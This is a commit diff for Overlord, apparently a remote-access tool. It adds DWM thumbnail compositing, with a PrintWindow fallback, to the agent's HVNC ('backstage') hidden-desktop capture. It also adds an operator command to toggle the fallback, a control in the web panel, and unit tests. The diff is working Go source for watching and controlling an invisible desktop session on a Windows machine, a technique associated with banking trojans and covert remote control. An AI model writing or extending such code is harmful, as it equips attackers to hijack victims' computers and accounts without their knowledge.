add DWM for HVNC with PrintWindow fallback

Overlord-Client/cmd/agent/capture/backstage_dwm_windows.go

@@ -0,0 +1,515 @@
+//go:build windows
+
+package capture
+
+import (
+	"image"
+	"log"
+	"sync"
+	"sync/atomic"
+	"syscall"
+	"time"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+var (
+	dwmapi                              = windows.NewLazySystemDLL("dwmapi.dll")
+	procDwmRegisterThumbnail            = dwmapi.NewProc("DwmRegisterThumbnail")
+	procDwmUnregisterThumbnail          = dwmapi.NewProc("DwmUnregisterThumbnail")
+	procDwmUpdateThumbnailProperties    = dwmapi.NewProc("DwmUpdateThumbnailProperties")
+	procDwmQueryThumbnailSourceSize     = dwmapi.NewProc("DwmQueryThumbnailSourceSize")
+	procDWMCreateWindowExW              = user32.NewProc("CreateWindowExW")
+	procDWMShowWindow                   = user32.NewProc("ShowWindow")
+	procDWMUpdateWindow                 = user32.NewProc("UpdateWindow")
+	backstageDWMStateMu                 sync.Mutex
+	backstageDWMHost                    uintptr
+	backstageDWMThumbnails              map[uintptr]*backstageDWMThumbnail
+	backstageDWMOrder                   []uintptr
+	backstageDWMLastFallbackLogUnixNano atomic.Int64
+	backstageDWMLastPerfLogUnixNano     atomic.Int64
+	backstageDWMLoggedActive            atomic.Bool
+)
+
+const (
+	dwmTNPRectDestination = 0x00000001
+	dwmTNPRectSource      = 0x00000002
+	dwmTNPVisible         = 0x00000008
+
+	backstageDWMWSExTransparent  = 0x00000020
+	backstageDWMWSExToolWindow   = 0x00000080
+	backstageDWMWSExNoActivate   = 0x08000000
+	backstageDWMWSDisabled       = 0x08000000
+	backstageDWMWSVisible        = 0x10000000
+	backstageDWMWSDisabledPopup  = 0x80000000 | backstageDWMWSDisabled | backstageDWMWSVisible
+	backstageDWMSSBlackRect      = 0x00000004
+	backstageDWMSWShowNoActivate = 4
+	backstageDWMHWNDBottom       = 1
+)
+
+type dwmThumbnailProperties struct {
+	flags                uint32
+	destination          rect
+	source               rect
+	opacity              byte
+	_padding             [3]byte
+	visible              int32
+	sourceClientAreaOnly int32
+}
+
+type backstageDWMSize struct {
+	cx int32
+	cy int32
+}
+
+type backstageDWMThumbnail struct {
+	handle uintptr
+	size   backstageDWMSize
+}
+
+type backstageDWMCandidate struct {
+	hwnd       uintptr
+	windowRect rect
+}
+
+type backstageDWMPerf struct {
+	outputW   int
+	outputH   int
+	windows   int
+	rebuilt   bool
+	setup     time.Duration
+	enumerate time.Duration
+	register  time.Duration
+	update    time.Duration
+	readback  time.Duration
+	validate  time.Duration
+	total     time.Duration
+	success   bool
+	failure   string
+}
+
+func backstageIsDWMHost(hwnd uintptr) bool {
+	if hwnd == 0 {
+		return false
+	}
+	backstageDWMStateMu.Lock()
+	isHost := backstageDWMHost == hwnd
+	backstageDWMStateMu.Unlock()
+	return isHost
+}
+
+func drawbackstageStagingFromDWM(hdcMem uintptr, bounds image.Rectangle, outputW, outputH int, target []byte) (success bool) {
+	if hdcMem == 0 || bounds.Empty() || outputW <= 0 || outputH <= 0 {
+		return false
+	}
+
+	started := time.Now()
+	perf := backstageDWMPerf{outputW: outputW, outputH: outputH}
+	defer func() {
+		perf.success = success
+		perf.total = time.Since(started)
+		backstageLogDWMPerf(perf, bounds)
+	}()
+
+	backstageDWMStateMu.Lock()
+	defer backstageDWMStateMu.Unlock()
+
+	stageStarted := time.Now()
+	host := backstageEnsureDWMHostLocked(bounds, outputW, outputH)
+	perf.setup = time.Since(stageStarted)
+	if host == 0 {
+		perf.failure = "host"
+		backstageLogDWMFallback("staging window is unavailable")
+		return false
+	}
+
+	stageStarted = time.Now()
+	candidates := backstageCollectDWMCandidatesLocked(host, bounds)
+	perf.enumerate = time.Since(stageStarted)
+	perf.windows = len(candidates)
+	if len(candidates) == 0 {
+		perf.failure = "no_sources"
+		backstageLogDWMFallback("no source windows are available")
+		return false
+	}
+
+	order := make([]uintptr, len(candidates))
+	for index, candidate := range candidates {
+		order[index] = candidate.hwnd
+	}
+	if !backstageDWMOrdersEqual(backstageDWMOrder, order) {
+		perf.rebuilt = true
+		backstageUnregisterDWMThumbnailsLocked()
+		backstageDWMOrder = append(backstageDWMOrder[:0], order...)
+	}
+	if backstageDWMThumbnails == nil {
+		backstageDWMThumbnails = make(map[uintptr]*backstageDWMThumbnail)
+	}
+
+	registerStarted := time.Now()
+	updated := 0
+	for _, candidate := range candidates {
+		entry := backstageDWMThumbnails[candidate.hwnd]
+		if entry == nil {
+			entry = backstageRegisterDWMThumbnailLocked(host, candidate.hwnd)
+			if entry == nil {
+				continue
+			}
+			backstageDWMThumbnails[candidate.hwnd] = entry
+		}
+	}
+	perf.register = time.Since(registerStarted)
+
+	updateStarted := time.Now()
+	for _, candidate := range candidates {
+		entry := backstageDWMThumbnails[candidate.hwnd]
+		if entry == nil {
+			continue
+		}
+		destinationRect, sourceRect, ok := backstageDWMThumbnailRects(
+			candidate.windowRect,
+			bounds,
+			int(entry.size.cx),
+			int(entry.size.cy),
+			outputW,
+			outputH,
+		)
+		if !ok {
+			continue
+		}
+		properties := dwmThumbnailProperties{
+			flags:       dwmTNPRectDestination | dwmTNPRectSource | dwmTNPVisible,
+			destination: destinationRect,
+			source:      sourceRect,
+			opacity:     255,
+			visible:     1,
+		}
+		result, _, _ := procDwmUpdateThumbnailProperties.Call(
+			entry.handle,
+			uintptr(unsafe.Pointer(&properties)),
+		)
+		if int32(result) >= 0 {
+			updated++
+		}
+	}
+	perf.update = time.Since(updateStarted)
+	if updated == 0 {
+		perf.failure = "update"
+		backstageLogDWMFallback("no thumbnail relationships were updated")
+		return false
+	}
+
+	readbackStarted := time.Now()
+	if !printWindow(host, hdcMem, PW_RENDERFULLCONTENT) {
+		perf.readback = time.Since(readbackStarted)
+		perf.failure = "readback"
+		backstageLogDWMFallback("PrintWindow staging readback failed")
+		return false
+	}
+	perf.readback = time.Since(readbackStarted)
+
+	validateStarted := time.Now()
+	if !backstageDWMFrameHasContent(target) {
+		perf.validate = time.Since(validateStarted)
+		perf.failure = "empty"
+		backstageLogDWMFallback("PrintWindow staging readback was empty")
+		return false
+	}
+	perf.validate = time.Since(validateStarted)
+	if backstageDWMLoggedActive.CompareAndSwap(false, true) {
+		log.Printf("backstage dwm: staging thumbnail composite active (%d windows, %dx%d)", updated, outputW, outputH)
+	}
+	return true
+}
+
+func backstageEnsureDWMHostLocked(bounds image.Rectangle, outputW, outputH int) uintptr {
+	if backstageDWMHost == 0 {
+		className, err := syscall.UTF16PtrFromString("Static")
+		if err != nil {
+			return 0
+		}
+		title, err := syscall.UTF16PtrFromString("Overlord DWM Backstage Staging")
+		if err != nil {
+			return 0
+		}
+		host, _, _ := procDWMCreateWindowExW.Call(
+			backstageDWMWSExTransparent|backstageDWMWSExToolWindow|backstageDWMWSExNoActivate,
+			uintptr(unsafe.Pointer(className)),
+			uintptr(unsafe.Pointer(title)),
+			backstageDWMWSDisabledPopup|backstageDWMSSBlackRect,
+			uintptr(int32(bounds.Min.X)),
+			uintptr(int32(bounds.Min.Y)),
+			uintptr(int32(outputW)),
+			uintptr(int32(outputH)),
+			0,
+			0,
+			0,
+			0,
+		)
+		if host == 0 {
+			return 0
+		}
+		backstageDWMHost = host
+		procDWMShowWindow.Call(host, backstageDWMSWShowNoActivate)
+		procDWMUpdateWindow.Call(host)
+	}
+
+	procSetWindowPos.Call(
+		backstageDWMHost,
+		backstageDWMHWNDBottom,
+		uintptr(int32(bounds.Min.X)),
+		uintptr(int32(bounds.Min.Y)),
+		uintptr(int32(outputW)),
+		uintptr(int32(outputH)),
+		SWP_NOACTIVATE|SWP_SHOWWINDOW,
+	)
+	return backstageDWMHost
+}
+
+func backstageCollectDWMCandidatesLocked(host uintptr, bounds image.Rectangle) []backstageDWMCandidate {
+	var candidates []backstageDWMCandidate
+	hwnd := getTopWindow(0)
+	if hwnd != 0 {
+		hwnd = getWindow(hwnd, GW_HWNDLAST)
+	}
+	for hwnd != 0 {
+		next := getWindow(hwnd, GW_HWNDPREV)
+		if hwnd != host && isWindowVisible(hwnd) {
+			var windowRect rect
+			ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&windowRect)))
+			if ok != 0 &&
+				windowRect.right > windowRect.left &&
+				windowRect.bottom > windowRect.top &&
+				rectIntersectsImage(windowRect, bounds) {
+				candidates = append(candidates, backstageDWMCandidate{
+					hwnd:       hwnd,
+					windowRect: windowRect,
+				})
+			}
+		}
+		hwnd = next
+	}
+	return candidates
+}
+
+func backstageRegisterDWMThumbnailLocked(host, source uintptr) *backstageDWMThumbnail {
+	var thumbnail uintptr
+	result, _, _ := procDwmRegisterThumbnail.Call(
+		host,
+		source,
+		uintptr(unsafe.Pointer(&thumbnail)),
+	)
+	if int32(result) < 0 || thumbnail == 0 {
+		return nil
+	}
+
+	var size backstageDWMSize
+	queryResult, _, _ := procDwmQueryThumbnailSourceSize.Call(
+		thumbnail,
+		uintptr(unsafe.Pointer(&size)),
+	)
+	if int32(queryResult) < 0 || size.cx <= 0 || size.cy <= 0 {
+		var windowRect rect
+		ok, _, _ := procGetWindowRect.Call(source, uintptr(unsafe.Pointer(&windowRect)))
+		if ok == 0 {
+			procDwmUnregisterThumbnail.Call(thumbnail)
+			return nil
+		}
+		size.cx = windowRect.right - windowRect.left
+		size.cy = windowRect.bottom - windowRect.top
+	}
+	return &backstageDWMThumbnail{handle: thumbnail, size: size}
+}
+
+func backstageDWMThumbnailRects(windowRect rect, bounds image.Rectangle, sourceW, sourceH, outputW, outputH int) (rect, rect, bool) {
+	winW := int(windowRect.right - windowRect.left)
+	winH := int(windowRect.bottom - windowRect.top)
+	boundsW := bounds.Dx()
+	boundsH := bounds.Dy()
+	if winW <= 0 || winH <= 0 || sourceW <= 0 || sourceH <= 0 ||
+		boundsW <= 0 || boundsH <= 0 || outputW <= 0 || outputH <= 0 {
+		return rect{}, rect{}, false
+	}
+
+	left := maxInt(int(windowRect.left), bounds.Min.X)
+	top := maxInt(int(windowRect.top), bounds.Min.Y)
+	right := minInt(int(windowRect.right), bounds.Max.X)
+	bottom := minInt(int(windowRect.bottom), bounds.Max.Y)
+	if right <= left || bottom <= top {
+		return rect{}, rect{}, false
+	}
+
+	destination := rect{
+		left:   int32((left - bounds.Min.X) * outputW / boundsW),
+		top:    int32((top - bounds.Min.Y) * outputH / boundsH),
+		right:  int32(((right-bounds.Min.X)*outputW + boundsW - 1) / boundsW),
+		bottom: int32(((bottom-bounds.Min.Y)*outputH + boundsH - 1) / boundsH),
+	}
+	source := rect{
+		left:   int32((left - int(windowRect.left)) * sourceW / winW),
+		top:    int32((top - int(windowRect.top)) * sourceH / winH),
+		right:  int32(((right-int(windowRect.left))*sourceW + winW - 1) / winW),
+		bottom: int32(((bottom-int(windowRect.top))*sourceH + winH - 1) / winH),
+	}
+	if source.right > int32(sourceW) {
+		source.right = int32(sourceW)
+	}
+	if source.bottom > int32(sourceH) {
+		source.bottom = int32(sourceH)
+	}
+	return destination, source, true
+}
+
+func rectIntersectsImage(windowRect rect, bounds image.Rectangle) bool {
+	return int(windowRect.right) > bounds.Min.X &&
+		int(windowRect.left) < bounds.Max.X &&
+		int(windowRect.bottom) > bounds.Min.Y &&
+		int(windowRect.top) < bounds.Max.Y
+}
+
+func backstageDWMOrdersEqual(left, right []uintptr) bool {
+	if len(left) != len(right) {
+		return false
+	}
+	for index := range left {
+		if left[index] != right[index] {
+			return false
+		}
+	}
+	return true
+}
+
+func backstageDWMFrameHasContent(frame []byte) bool {
+	if len(frame) < 4 {
+		return false
+	}
+	stepPixels := len(frame) / 4 / (128 * 128)
+	if stepPixels < 1 {
+		stepPixels = 1
+	}
+	step := stepPixels * 4
+	for offset := 0; offset+2 < len(frame); offset += step {
+		if frame[offset]|frame[offset+1]|frame[offset+2] != 0 {
+			return true
+		}
+	}
+	return false
+}
+
+func backstageEnsureDWMCompCache(w, h int) (uintptr, []byte, bool) {
+	if backstageCompHdcMem != 0 &&
+		backstageCompW == w &&
+		backstageCompH == h &&
+		backstageCompBits != nil {
+		return backstageCompHdcMem, unsafe.Slice((*byte)(backstageCompBits), w*h*4), true
+	}
+
+	if backstageCompHbmp != 0 {
+		deleteObject(backstageCompHbmp)
+		backstageCompHbmp = 0
+	}
+	if backstageCompHdcMem != 0 {
+		deleteDC(backstageCompHdcMem)
+		backstageCompHdcMem = 0
+	}
+	backstageCompBits = nil
+	backstageCompW = 0
+	backstageCompH = 0
+
+	screenDC := getDC(0)
+	if screenDC == 0 {
+		return 0, nil, false
+	}
+	backstageCompHdcMem = createCompatibleDC(screenDC)
+	releaseDC(0, screenDC)
+	if backstageCompHdcMem == 0 {
+		return 0, nil, false
+	}
+
+	info := bitmapInfo{
+		bmiHeader: bitmapInfoHeader{
+			biSize:        uint32(unsafe.Sizeof(bitmapInfoHeader{})),
+			biWidth:       int32(w),
+			biHeight:      -int32(h),
+			biPlanes:      1,
+			biBitCount:    32,
+			biCompression: BI_RGB,
+		},
+	}
+	backstageCompHbmp = createDIBSection(
+		backstageCompHdcMem,
+		&info,
+		DIB_RGB_COLORS,
+		&backstageCompBits,
+	)
+	if backstageCompHbmp == 0 || backstageCompBits == nil {
+		deleteDC(backstageCompHdcMem)
+		backstageCompHdcMem = 0
+		backstageCompBits = nil
+		return 0, nil, false
+	}
+	selectObject(backstageCompHdcMem, backstageCompHbmp)
+	backstageCompW = w
+	backstageCompH = h
+	return backstageCompHdcMem, unsafe.Slice((*byte)(backstageCompBits), w*h*4), true
+}
+
+func backstageCleanupDWMThumbnails() {
+	backstageDWMStateMu.Lock()
+	defer backstageDWMStateMu.Unlock()
+	backstageUnregisterDWMThumbnailsLocked()
+	if backstageDWMHost != 0 {
+		procDWMShowWindow.Call(backstageDWMHost, 0)
+	}
+	backstageDWMHost = 0
+}
+
+func backstageUnregisterDWMThumbnailsLocked() {
+	for source, entry := range backstageDWMThumbnails {
+		procDwmUnregisterThumbnail.Call(entry.handle)
+		delete(backstageDWMThumbnails, source)
+	}
+	backstageDWMThumbnails = nil
+	backstageDWMOrder = nil
+}
+
+func backstageLogDWMFallback(reason string) {
+	now := time.Now().UnixNano()
+	last := backstageDWMLastFallbackLogUnixNano.Load()
+	if now-last < int64(5*time.Second) ||
+		!backstageDWMLastFallbackLogUnixNano.CompareAndSwap(last, now) {
+		return
+	}
+	log.Printf("backstage dwm: %s; using DXGI/PrintWindow fallback", reason)
+}
+
+func backstageLogDWMPerf(perf backstageDWMPerf, bounds image.Rectangle) {
+	if !captureMetricsEnabled() {
+		return
+	}
+	now := time.Now().UnixNano()
+	last := backstageDWMLastPerfLogUnixNano.Load()
+	if now-last < int64(5*time.Second) ||
+		!backstageDWMLastPerfLogUnixNano.CompareAndSwap(last, now) {
+		return
+	}
+	log.Printf(
+		"backstage dwm perf: success=%v failure=%s source=%dx%d output=%dx%d windows=%d rebuilt=%v setup=%s enum=%s register=%s update=%s readback=%s validate=%s total=%s",
+		perf.success,
+		perf.failure,
+		bounds.Dx(),
+		bounds.Dy(),
+		perf.outputW,
+		perf.outputH,
+		perf.windows,
+		perf.rebuilt,
+		perf.setup,
+		perf.enumerate,
+		perf.register,
+		perf.update,
+		perf.readback,
+		perf.validate,
+		perf.total,
+	)
+}

Overlord-Client/cmd/agent/capture/backstage_dwm_windows_test.go

@@ -0,0 +1,128 @@
+//go:build windows
+
+package capture
+
+import (
+	"image"
+	"testing"
+)
+
+func TestBackstageDWMFrameHasContent(t *testing.T) {
+	tests := []struct {
+		name  string
+		frame []byte
+		want  bool
+	}{
+		{name: "nil", frame: nil, want: false},
+		{name: "short", frame: []byte{1, 2, 3}, want: false},
+		{name: "black", frame: make([]byte, 64), want: false},
+		{name: "alpha only", frame: []byte{0, 0, 0, 255}, want: false},
+		{name: "blue", frame: []byte{1, 0, 0, 0}, want: true},
+		{name: "green", frame: []byte{0, 1, 0, 0}, want: true},
+		{name: "red", frame: []byte{0, 0, 1, 0}, want: true},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := backstageDWMFrameHasContent(tt.frame); got != tt.want {
+				t.Fatalf("backstageDWMFrameHasContent() = %v, want %v", got, tt.want)
+			}
+		})
+	}
+}
+
+func TestBackstageDWMThumbnailRects(t *testing.T) {
+	tests := []struct {
+		name       string
+		window     rect
+		bounds     image.Rectangle
+		sourceW    int
+		sourceH    int
+		outputW    int
+		outputH    int
+		wantDest   rect
+		wantSource rect
+		wantOK     bool
+	}{
+		{
+			name:       "fully visible",
+			window:     rect{left: 100, top: 50, right: 500, bottom: 350},
+			bounds:     image.Rect(0, 0, 1920, 1080),
+			sourceW:    400,
+			sourceH:    300,
+			outputW:    1920,
+			outputH:    1080,
+			wantDest:   rect{left: 100, top: 50, right: 500, bottom: 350},
+			wantSource: rect{left: 0, top: 0, right: 400, bottom: 300},
+			wantOK:     true,
+		},
+		{
+			name:       "clipped left and top",
+			window:     rect{left: -100, top: -50, right: 300, bottom: 250},
+			bounds:     image.Rect(0, 0, 1920, 1080),
+			sourceW:    800,
+			sourceH:    600,
+			outputW:    1920,
+			outputH:    1080,
+			wantDest:   rect{left: 0, top: 0, right: 300, bottom: 250},
+			wantSource: rect{left: 200, top: 100, right: 800, bottom: 600},
+			wantOK:     true,
+		},
+		{
+			name:    "outside",
+			window:  rect{left: 2000, top: 100, right: 2200, bottom: 300},
+			bounds:  image.Rect(0, 0, 1920, 1080),
+			sourceW: 200,
+			sourceH: 200,
+			outputW: 1920,
+			outputH: 1080,
+			wantOK:  false,
+		},
+		{
+			name:       "scaled output",
+			window:     rect{left: 100, top: 50, right: 500, bottom: 350},
+			bounds:     image.Rect(0, 0, 1920, 1080),
+			sourceW:    400,
+			sourceH:    300,
+			outputW:    960,
+			outputH:    540,
+			wantDest:   rect{left: 50, top: 25, right: 250, bottom: 175},
+			wantSource: rect{left: 0, top: 0, right: 400, bottom: 300},
+			wantOK:     true,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			dest, source, ok := backstageDWMThumbnailRects(
+				tt.window,
+				tt.bounds,
+				tt.sourceW,
+				tt.sourceH,
+				tt.outputW,
+				tt.outputH,
+			)
+			if ok != tt.wantOK {
+				t.Fatalf("ok = %v, want %v", ok, tt.wantOK)
+			}
+			if dest != tt.wantDest {
+				t.Fatalf("destination = %+v, want %+v", dest, tt.wantDest)
+			}
+			if source != tt.wantSource {
+				t.Fatalf("source = %+v, want %+v", source, tt.wantSource)
+			}
+		})
+	}
+}
+
+func TestBackstageDWMOrdersEqual(t *testing.T) {
+	if !backstageDWMOrdersEqual([]uintptr{1, 2, 3}, []uintptr{1, 2, 3}) {
+		t.Fatal("matching order was reported as changed")
+	}
+	if backstageDWMOrdersEqual([]uintptr{1, 2, 3}, []uintptr{1, 3, 2}) {
+		t.Fatal("z-order change was not detected")
+	}
+	if backstageDWMOrdersEqual([]uintptr{1, 2}, []uintptr{1, 2, 3}) {
+		t.Fatal("window addition was not detected")
+	}
+}

Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go

@@ -0,0 +1,22 @@
+//go:build windows
+
+package capture
+
+import "testing"
+
+func TestBackstagePrintWindowFallbackToggle(t *testing.T) {
+	SetbackstagePrintWindowFallbackEnabled(true)
+	t.Cleanup(func() { SetbackstagePrintWindowFallbackEnabled(true) })
+
+	if !GetbackstagePrintWindowFallbackEnabled() {
+		t.Fatal("PrintWindow fallback must be enabled by default")
+	}
+	SetbackstagePrintWindowFallbackEnabled(false)
+	if GetbackstagePrintWindowFallbackEnabled() {
+		t.Fatal("PrintWindow fallback did not disable")
+	}
+	SetbackstagePrintWindowFallbackEnabled(true)
+	if !GetbackstagePrintWindowFallbackEnabled() {
+		t.Fatal("PrintWindow fallback did not re-enable")
+	}
+}

Overlord-Client/cmd/agent/capture/backstage_stub.go

@@ -19,6 +19,10 @@ func SetbackstageDXGIEnabled(enabled bool) {}
 
 func GetbackstageDXGIEnabled() bool { return false }
 
+func SetbackstagePrintWindowFallbackEnabled(enabled bool) {}
+
+func GetbackstagePrintWindowFallbackEnabled() bool { return false }
+
 func SetbackstageUIAEnabled(enabled bool) {}
 
 func GetbackstageUIAEnabled() bool { return false }

Overlord-Client/cmd/agent/capture/backstage_windows.go

@@ -32,8 +32,8 @@ var (
 	procGetWindow                = user32.NewProc("GetWindow")
 	procGetTopWindow             = user32.NewProc("GetTopWindow")
 	procCreateProcessW           = kernel32.NewProc("CreateProcessW")
-	procSendInputbackstage            = user32.NewProc("SendInput")
-	procGetCursorPosbackstage         = user32.NewProc("GetCursorPos")
+	procSendInputbackstage       = user32.NewProc("SendInput")
+	procGetCursorPosbackstage    = user32.NewProc("GetCursorPos")
 	procWindowFromPoint          = user32.NewProc("WindowFromPoint")
 	procScreenToClient           = user32.NewProc("ScreenToClient")
 	procPostMessageW             = user32.NewProc("PostMessageW")
@@ -148,7 +148,7 @@ const (
 	GA_ROOT                = 2
 	SMTO_ABORTIFHUNG       = 0x0002
 
-	GWL_EXSTYLE     = -20
+	GWL_EXSTYLE      = -20
 	WS_EX_TOOLWINDOW = 0x00000080
 )
 
@@ -377,6 +377,7 @@ func CleanupbackstageDesktop() {
 	defer backstageDesktopMu.Unlock()
 
 	backstageCleanupFrameReaders()
+	backstageCleanupDWMThumbnails()
 
 	backstageFreeCapCache()
 
@@ -592,6 +593,9 @@ func BackstageKillAll() error {
 
 	pids := make(map[uint32]struct{})
 	cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
+		if backstageIsDWMHost(hwnd) {
+			return 1
+		}
 		var pid uint32
 		procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
 		if pid != 0 {
@@ -891,6 +895,18 @@ func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) {
 		dstH = srcH
 	}
 
+	if dwmHDC, dwmBuf, ok := backstageEnsureDWMCompCache(dstW, dstH); ok {
+		for i := range dwmBuf {
+			dwmBuf[i] = 0
+		}
+		if drawbackstageStagingFromDWM(dwmHDC, bounds, dstW, dstH, dwmBuf) {
+			swapRB(dwmBuf)
+			img := GetRGBA(dstW, dstH)
+			copy(img.Pix, dwmBuf)
+			return img, nil
+		}
+	}
+
 	capW := srcW
 	capH := srcH
 
@@ -1312,7 +1328,7 @@ func foregroundWindow() uintptr {
 func findAnyVisibleTopLevelWindow() uintptr {
 	hwnd := getTopWindow(0)
 	for hwnd != 0 {
-		if isWindowVisible(hwnd) {
+		if !backstageIsDWMHost(hwnd) && isWindowVisible(hwnd) {
 			return hwnd
 		}
 		hwnd = getWindow(hwnd, GW_HWNDNEXT)
@@ -1326,6 +1342,9 @@ func makeLParam(x, y int32) uintptr {
 
 func windowFromPoint(pt point) uintptr {
 	ret, _, _ := procWindowFromPoint.Call(uintptr(*(*int64)(unsafe.Pointer(&pt))))
+	if backstageIsDWMHost(ret) {
+		return 0
+	}
 	return ret
 }
 
@@ -1678,7 +1697,7 @@ func drawbackstageWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, tar
 
 	drawn := 0
 	for hwnd != 0 {
-		if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
+		if !backstageIsDWMHost(hwnd) && drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
 			drawn++
 		}
 		alive[hwnd] = true
@@ -1751,10 +1770,13 @@ var dxgiFrameBuf []byte
 
 var backstageDXGIEnabled atomic.Bool
 var backstageUIAEnabled atomic.Bool
+var backstagePrintWindowFallbackEnabled atomic.Bool
+var backstagePrintWindowFallbackLogNs atomic.Int64
 
 func init() {
 	backstageDXGIEnabled.Store(false) // disabled by default
 	backstageUIAEnabled.Store(false)  // disabled by default
+	backstagePrintWindowFallbackEnabled.Store(true)
 }
 
 func SetbackstageDXGIEnabled(enabled bool) {
@@ -1773,6 +1795,14 @@ func GetbackstageUIAEnabled() bool {
 	return backstageUIAEnabled.Load()
 }
 
+func SetbackstagePrintWindowFallbackEnabled(enabled bool) {
+	backstagePrintWindowFallbackEnabled.Store(enabled)
+}
+
+func GetbackstagePrintWindowFallbackEnabled() bool {
+	return backstagePrintWindowFallbackEnabled.Load()
+}
+
 func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
 	if !backstageDXGIEnabled.Load() {
 		return false
@@ -1847,6 +1877,9 @@ func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int,
 }
 
 func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
+	if backstageIsDWMHost(hwnd) {
+		return false
+	}
 	if !isWindowVisible(hwnd) {
 		return false
 	}
@@ -1875,6 +1908,15 @@ func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target
 	if drawn := drawbackstageWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
 		return true
 	}
+	if !backstagePrintWindowFallbackEnabled.Load() {
+		now := time.Now().UnixNano()
+		last := backstagePrintWindowFallbackLogNs.Load()
+		if now-last > int64(5*time.Second) &&
+			backstagePrintWindowFallbackLogNs.CompareAndSwap(last, now) {
+			log.Printf("backstage capture: per-window PrintWindow fallback is disabled")
+		}
+		return false
+	}
 
 	// Use pooled DC+DIB from cache
 	entry := backstageGetOrCreateCache(hdcScreen, hwnd, winW, winH)
@@ -2048,6 +2090,9 @@ func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
 	var windows []rawWin
 
 	cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
+		if backstageIsDWMHost(hwnd) {
+			return 1
+		}
 		windows = append(windows, rawWin{hwnd: hwnd})
 		return 1
 	})

Overlord-Client/cmd/agent/handlers/command.go

@@ -1298,6 +1298,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		capture.SetbackstageDXGIEnabled(dxgiEnabled)
 		sendCommandResultSafe(env, cmdID, true, "")
 		return nil
+	case "backstage_enable_printwindow_fallback":
+		payload, _ := envelope["payload"].(map[string]interface{})
+		enabled := true
+		if payload != nil {
+			if v, ok := payload["enabled"].(bool); ok {
+				enabled = v
+			}
+		}
+		log.Printf("backstage: per-window PrintWindow fallback %v", enabled)
+		capture.SetbackstagePrintWindowFallbackEnabled(enabled)
+		sendCommandResultSafe(env, cmdID, true, "")
+		return nil
 	case "backstage_enable_uia":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		uiaEnabled := true

Overlord-Client/cmd/agent/wire/wire_contract_generated.go

@@ -77,6 +77,7 @@ const (
 	CommandBackstageEnableDxgi CommandType = "backstage_enable_dxgi"
 	CommandBackstageEnableKeyboard CommandType = "backstage_enable_keyboard"
 	CommandBackstageEnableMouse CommandType = "backstage_enable_mouse"
+	CommandBackstageEnablePrintwindowFallback CommandType = "backstage_enable_printwindow_fallback"
 	CommandBackstageEnableUia CommandType = "backstage_enable_uia"
 	CommandBackstageInstalledApps CommandType = "backstage_installed_apps"
 	CommandBackstageKeyDown CommandType = "backstage_key_down"
@@ -286,6 +287,7 @@ var CommandTypes = [...]CommandType{
 	CommandBackstageEnableDxgi,
 	CommandBackstageEnableKeyboard,
 	CommandBackstageEnableMouse,
+	CommandBackstageEnablePrintwindowFallback,
 	CommandBackstageEnableUia,
 	CommandBackstageInstalledApps,
 	CommandBackstageKeyDown,
@@ -435,6 +437,7 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{
 	CommandBackstageEnableDxgi: {Min: 1, Max: 1},
 	CommandBackstageEnableKeyboard: {Min: 1, Max: 1},
 	CommandBackstageEnableMouse: {Min: 1, Max: 1},
+	CommandBackstageEnablePrintwindowFallback: {Min: 1, Max: 1},
 	CommandBackstageEnableUia: {Min: 1, Max: 1},
 	CommandBackstageInstalledApps: {Min: 1, Max: 1},
 	CommandBackstageKeyDown: {Min: 1, Max: 1},

Overlord-Client/cmd/agent/wire/wire_contract_test.go

@@ -6,7 +6,7 @@ func TestGeneratedWireContract(t *testing.T) {
 	if WireProtocolVersion != 1 {
 		t.Fatalf("unexpected wire protocol version: %d", WireProtocolVersion)
 	}
-	if len(CommandTypes) != 141 {
+	if len(CommandTypes) != 142 {
 		t.Fatalf("unexpected command count: %d", len(CommandTypes))
 	}
 	if len(CommandVersionSupport) != len(CommandTypes) {

Overlord-Server/public/assets/backstage.js

@@ -117,6 +117,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
   const statusEl = document.getElementById("streamStatus");
   const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
   const uiaCtrl = document.getElementById("uiaCtrl");
+  const printWindowFallbackCtrl = document.getElementById("printWindowFallbackCtrl");
   const backstageResolutionSelect = document.getElementById("backstageResolutionSelect");
   const targetFpsSelect = document.getElementById("targetFpsSelect");
   let whepClient = null;
@@ -132,6 +133,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
     if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
     if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
+    if (printWindowFallbackCtrl) {
+      sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
+    }
     pushbackstageResolution();
   }
   let activeClientId = clientId;
@@ -186,6 +190,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
